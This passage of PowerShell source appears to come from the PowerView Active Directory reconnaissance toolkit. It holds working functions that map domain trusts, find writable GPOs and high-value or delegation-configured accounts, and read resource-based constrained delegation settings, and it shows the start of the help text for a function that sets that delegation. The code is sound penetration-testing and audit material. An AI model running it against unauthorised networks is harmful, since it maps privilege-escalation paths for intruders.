$GroupDomain = $GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
|
|
$_.member | ForEach-Object {
|
|
# filter for foreign SIDs in the cn field for users in another domain,
|
|
# or if the DN doesn't end with the proper DN for the queried domain
|
|
$MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne $MemberDomain)) {
|
|
$MemberDistinguishedName = $_
|
|
$MemberName = $_.Split(',')[0].split('=')[1]
|
|
|
|
$ForeignGroupMember = New-Object PSObject
|
|
$ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $GroupDomain
|
|
$ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName
|
|
$ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName
|
|
$ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
|
|
$ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName
|
|
$ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName
|
|
$ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember')
|
|
$ForeignGroupMember
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainTrustMapping {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
This function enumerates all trusts for the current domain and then enumerates
|
|
all trusts for each domain it finds.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust
|
|
|
|
.DESCRIPTION
|
|
|
|
This function will enumerate domain trust relationships for the current domain using
|
|
a number of methods, and then enumerates all trusts for each found domain, recursively
|
|
mapping all reachable trust relationships. By default, and LDAP search using the filter
|
|
'(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified
|
|
LDAP is used as well. If the -NET flag is specified, the .NET method
|
|
GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain
|
|
object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is
|
|
used to enumerate instead. If any
|
|
|
|
.PARAMETER API
|
|
|
|
Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the
|
|
built-in LDAP method.
|
|
|
|
.PARAMETER NET
|
|
|
|
Switch. Use .NET queries to enumerate trusts instead of the default LDAP method.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv
|
|
|
|
Map all reachable domain trusts using .NET methods and output everything to a .csv file.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv
|
|
|
|
Map all reachable domain trusts using Win32 API calls and output everything to a .csv file.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainTrustMapping -NET | Export-CSV -NoTypeInformation trusts.csv
|
|
|
|
Map all reachable domain trusts using .NET methods and output everything to a .csv file.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainTrustMapping -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv
|
|
|
|
Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries
|
|
using the specified alternate credentials, and output everything to a .csv file.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.DomainTrust.LDAP
|
|
|
|
Custom PSObject with translated domain LDAP trust result fields (default).
|
|
|
|
PowerView.DomainTrust.NET
|
|
|
|
A TrustRelationshipInformationCollection returned when using .NET methods.
|
|
|
|
PowerView.DomainTrust.API
|
|
|
|
Custom PSObject with translated domain API trust result fields.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.DomainTrust.NET')]
|
|
[OutputType('PowerView.DomainTrust.LDAP')]
|
|
[OutputType('PowerView.DomainTrust.API')]
|
|
[CmdletBinding(DefaultParameterSetName = 'LDAP')]
|
|
Param(
|
|
[Parameter(ParameterSetName = 'API')]
|
|
[Switch]
|
|
$API,
|
|
|
|
[Parameter(ParameterSetName = 'NET')]
|
|
[Switch]
|
|
$NET,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[Parameter(ParameterSetName = 'API')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
# keep track of domains seen so we don't hit infinite recursion
|
|
$SeenDomains = @{}
|
|
|
|
# our domain status tracker
|
|
$Domains = New-Object System.Collections.Stack
|
|
|
|
$DomainTrustArguments = @{}
|
|
if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API }
|
|
if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET }
|
|
if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter }
|
|
if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential }
|
|
|
|
# get the current domain and push it onto the stack
|
|
if ($PSBoundParameters['Credential']) {
|
|
$CurrentDomain = (Get-Domain -Credential $Credential).Name
|
|
}
|
|
else {
|
|
$CurrentDomain = (Get-Domain).Name
|
|
}
|
|
$Domains.Push($CurrentDomain)
|
|
|
|
while($Domains.Count -ne 0) {
|
|
|
|
$Domain = $Domains.Pop()
|
|
|
|
# if we haven't seen this domain before
|
|
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
|
|
|
|
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
|
|
|
|
# mark it as seen in our list
|
|
$Null = $SeenDomains.Add($Domain, '')
|
|
|
|
try {
|
|
# get all the trusts for this domain
|
|
$DomainTrustArguments['Domain'] = $Domain
|
|
$Trusts = Get-DomainTrust @DomainTrustArguments
|
|
|
|
if ($Trusts -isnot [System.Array]) {
|
|
$Trusts = @($Trusts)
|
|
}
|
|
|
|
# get any forest trusts, if they exist
|
|
if ($PsCmdlet.ParameterSetName -eq 'NET') {
|
|
$ForestTrustArguments = @{}
|
|
if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest }
|
|
if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential }
|
|
$Trusts += Get-ForestTrust @ForestTrustArguments
|
|
}
|
|
|
|
if ($Trusts) {
|
|
if ($Trusts -isnot [System.Array]) {
|
|
$Trusts = @($Trusts)
|
|
}
|
|
|
|
# enumerate each trust found
|
|
ForEach ($Trust in $Trusts) {
|
|
if ($Trust.SourceName -and $Trust.TargetName) {
|
|
# make sure we process the target
|
|
$Null = $Domains.Push($Trust.TargetName)
|
|
$Trust
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-GPODelegation {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Finds users with write permissions on GPO objects which may allow privilege escalation within the domain.
|
|
|
|
Author: Itamar Mizrahi (@MrAnde7son)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.PARAMETER GPOName
|
|
|
|
The GPO display name to query for, wildcards accepted.
|
|
|
|
.PARAMETER PageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-GPODelegation
|
|
|
|
Returns all GPO delegations in current forest.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-GPODelegation -GPOName
|
|
|
|
Returns all GPO delegations on a given GPO.
|
|
#>
|
|
|
|
[CmdletBinding()]
|
|
Param (
|
|
[String]
|
|
$GPOName = '*',
|
|
|
|
[ValidateRange(1,10000)]
|
|
[Int]
|
|
$PageSize = 200
|
|
)
|
|
|
|
$Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins')
|
|
|
|
$Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
|
|
$DomainList = @($Forest.Domains)
|
|
$Domains = $DomainList | foreach { $_.GetDirectoryEntry() }
|
|
foreach ($Domain in $Domains) {
|
|
$Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))"
|
|
$Searcher = New-Object System.DirectoryServices.DirectorySearcher
|
|
$Searcher.SearchRoot = $Domain
|
|
$Searcher.Filter = $Filter
|
|
$Searcher.PageSize = $PageSize
|
|
$Searcher.SearchScope = "Subtree"
|
|
$listGPO = $Searcher.FindAll()
|
|
foreach ($gpo in $listGPO){
|
|
$ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"}
|
|
if ($ACL -ne $null){
|
|
$GpoACL = New-Object psobject
|
|
$GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath
|
|
$GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname
|
|
$GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference
|
|
$GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights
|
|
$GpoACL
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
function Find-HighValueAccounts {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Finds users that are currently high value accounts as AdminCount doesn't necessarily mean the privileges are current.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.PARAMETER SPN
|
|
|
|
Switch. Only return user objects with non-null service principal names.
|
|
|
|
.PARAMETER Enabled
|
|
|
|
Switch. Return accounts that are currently enabled.
|
|
|
|
.PARAMETER Disabled
|
|
|
|
Switch. Return accounts that are currently disabled.
|
|
|
|
.PARAMETER AllowDelegation
|
|
|
|
Switch. Return accounts that are not marked as 'sensitive and not allowed for delegation'
|
|
|
|
.PARAMETER DisallowDelegation
|
|
|
|
Switch. Return accounts that are marked as 'sensitive and not allowed for delegation'
|
|
|
|
.PARAMETER PassNotExpire
|
|
|
|
Switch. Return accounts whose passwords do not expire.
|
|
|
|
.PARAMETER Users
|
|
|
|
Switch. Return user accounts.
|
|
|
|
.PARAMETER Computers
|
|
|
|
Switch. Return computer accounts.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Raw
|
|
|
|
Switch. Return raw results instead of translating the fields into a custom PSObject.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-HighValueAccounts -Enabled
|
|
|
|
Returns all enabled high value accounts.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.ADObject')]
|
|
[OutputType('PowerView.ADObject.Raw')]
|
|
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
|
|
Param (
|
|
[Switch]
|
|
$SPN,
|
|
|
|
[Switch]
|
|
$Enabled,
|
|
|
|
[Switch]
|
|
$Disabled,
|
|
|
|
[Parameter(ParameterSetName = 'AllowDelegation')]
|
|
[Switch]
|
|
$AllowDelegation,
|
|
|
|
[Parameter(ParameterSetName = 'DisallowDelegation')]
|
|
[Switch]
|
|
$DisallowDelegation,
|
|
|
|
[Switch]
|
|
$PassNotExpire,
|
|
|
|
[Switch]
|
|
$Users,
|
|
|
|
[Switch]
|
|
$Computers,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
|
|
|
|
# array of high privileged groups from https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/
|
|
$AdminGroups = @(
|
|
'Account Operators',
|
|
'Administrators',
|
|
'Backup Operators',
|
|
'Cert Publishers',
|
|
'Domain Admins',
|
|
'Enterprise Admins',
|
|
'Enterprise Key Admins',
|
|
'Key Admins',
|
|
'Print Operators',
|
|
'Replicator',
|
|
'Schema Admins',
|
|
'Server Operators'
|
|
)
|
|
|
|
# variables
|
|
$IdentityFilter = ''
|
|
$Check = @()
|
|
}
|
|
|
|
PROCESS {
|
|
|
|
foreach ($AdminGroup in $AdminGroups) {
|
|
Get-DomainGroupMember $AdminGroup -Recurse @SearcherArguments | ?{$_.MemberObjectClass -ne 'group'} | ForEach-Object {
|
|
if (((!($Users)) -And (!($Computers))) -Or ((($Users) -And ($_.MemberObjectClass -eq 'user')) -Or (($Computers) -And ($_.MemberObjectClass -eq 'computer')))) {
|
|
$MemberName = $_.MemberName
|
|
if (($MemberName) -and (($Check.Count -eq 0 ) -Or (!($Check.Contains($MemberName))))) {
|
|
$IdentityFilter += "(samaccountname=$MemberName)"
|
|
$Check += $MemberName
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
$Filter = "(|$IdentityFilter)"
|
|
|
|
# Additional filters
|
|
if ($PSBoundParameters['SPN']) {
|
|
Write-Verbose '[Find-HighValueAccounts] Searching for non-null service principal names'
|
|
$Filter += '(servicePrincipalName=*)'
|
|
}
|
|
if ($PSBoundParameters['Enabled']) {
|
|
Write-Verbose '[Find-HighValueAccounts] Searching for users who are enabled'
|
|
# negation of "Accounts that are disabled"
|
|
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=2))'
|
|
}
|
|
if ($PSBoundParameters['Disabled']) {
|
|
Write-Verbose '[Find-HighValueAccounts] Searching for users who are disabled'
|
|
# inclusion of "Accounts that are disabled"
|
|
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=2)'
|
|
}
|
|
if ($PSBoundParameters['AllowDelegation']) {
|
|
Write-Verbose '[Find-HighValueAccounts] Searching for users who can be delegated'
|
|
# negation of "Accounts that are sensitive and not trusted for delegation"
|
|
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048576))'
|
|
}
|
|
if ($PSBoundParameters['DisallowDelegation']) {
|
|
Write-Verbose '[Find-HighValueAccounts] Searching for users who are sensitive and not trusted for delegation'
|
|
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048576)'
|
|
}
|
|
if ($PSBoundParameters['PassNotExpire']) {
|
|
Write-Verbose '[Find-HighValueAccounts] Searching for users whose passwords never expire'
|
|
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=65536)'
|
|
}
|
|
|
|
$ObjectSearcher.filter = "(&$Filter)"
|
|
Write-Verbose "[Find-HighValueAccounts] Find-HighValueAccounts filter string: $($ObjectSearcher.filter)"
|
|
$Results = $ObjectSearcher.FindAll()
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if ($PSBoundParameters['Raw']) {
|
|
# return raw result objects
|
|
$Object = $_
|
|
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
|
|
}
|
|
else {
|
|
$Object = Convert-LDAPProperty -Properties $_.Properties
|
|
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
|
|
}
|
|
$Object
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Find-HighValueAccounts] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
$ObjectSearcher.dispose()
|
|
}
|
|
}
|
|
|
|
function Get-DomainRBCD {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Finds accounts that are configured for resource-based constrained delegation and returns configuration.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
|
|
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Raw
|
|
|
|
Switch. Return raw results instead of translating the fields into a custom PSObject.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainRBCD
|
|
|
|
Returns the RBCD configuration for accounts in current domain.
|
|
#>
|
|
[OutputType([PSObject])]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('SamAccountName', 'Name', 'DNSHostName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw
|
|
)
|
|
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
$RBCDSearcher = Get-DomainSearcher @SearcherArguments
|
|
}
|
|
|
|
PROCESS {
|
|
#bind dynamic parameter to a friendly variable
|
|
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
|
|
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
|
|
}
|
|
if ($RBCDSearcher) {
|
|
$IdentityFilter = ''
|
|
$Filter = ''
|
|
$Identity | Get-IdentityFilterString | ForEach-Object {
|
|
$IdentityFilter += $_
|
|
}
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter += "(|$IdentityFilter)"
|
|
}
|
|
|
|
$Filter += '(msds-allowedtoactonbehalfofotheridentity=*)'
|
|
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
Write-Verbose "[Get-DomainRBCD] Using additional LDAP filter: $LDAPFilter"
|
|
$Filter += "$LDAPFilter"
|
|
}
|
|
if ($Filter -and $Filter -ne '') {
|
|
$RBCDSearcher.filter = "(&$Filter)"
|
|
}
|
|
Write-Verbose "[Get-DomainRBCD] Get-DomainRBCD filter string: $($RBCDSearcher.filter)"
|
|
|
|
if ($PSBoundParameters['FindOne']) { $Results = $RBCDSearcher.FindOne() }
|
|
else { $Results = $RBCDSearcher.FindAll() }
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if ($PSBoundParameters['Raw']) {
|
|
# return raw result objects
|
|
$Object = $_
|
|
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
|
|
}
|
|
else {
|
|
$Object = Convert-LDAPProperty -Properties $_.Properties
|
|
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
|
|
}
|
|
|
|
$r = $Object | select -expand msds-allowedtoactonbehalfofotheridentity
|
|
$d = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $r, 0
|
|
$d.DiscretionaryAcl | ForEach-Object {
|
|
$RBCDObject = New-Object PSObject
|
|
$RBCDObject | Add-Member "SourceName" $Object.samaccountname
|
|
$RBCDObject | Add-Member "SourceType" $Object.samaccounttype
|
|
$RBCDObject | Add-Member "SourceSID" $Object.objectsid
|
|
$RBCDObject | Add-Member "SourceAccountControl" $Object.useraccountcontrol
|
|
$RBCDObject | Add-Member "SourceDistinguishedName" $Object.distinguishedname
|
|
$RBCDObject | Add-Member "ServicePrincipalName" $Object.serviceprincipalname
|
|
|
|
$Delegated = Get-DomainObject $_.SecurityIdentifier
|
|
$RBCDObject | Add-Member "DelegatedName" $Delegated.samaccountname
|
|
$RBCDObject | Add-Member "DelegatedType" $Delegated.samaccounttype
|
|
$RBCDObject | Add-Member "DelegatedSID" $_.SecurityIdentifier
|
|
$RBCDObject | Add-Member "DelegatedAccountControl" $Delegated.useraccountcontrol
|
|
$RBCDObject | Add-Member "DelegatedDistinguishedName" $Delegated.distinguishedname
|
|
|
|
$RBCDObject
|
|
}
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainRBCD] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
$RBCDSearcher.dispose()
|
|
}
|
|
}
|
|
}
|
|
|
|
function Set-DomainRBCD {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Configure resource-based constrained delegation for accounts.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
|
|
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
|
|
|
|
.PARAMETER DelegateFrom
|
|
|
|
The accounts that are going to be allowed to delegate to this account(s) specified by Identity.
|
|
This can be a pipe '|' separated list.
|
|
|
|
.PARAMETER Clear
|
|
|
|
Remove the contents of the msds-allowedtoactonbehalfofotheridentity attribute.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
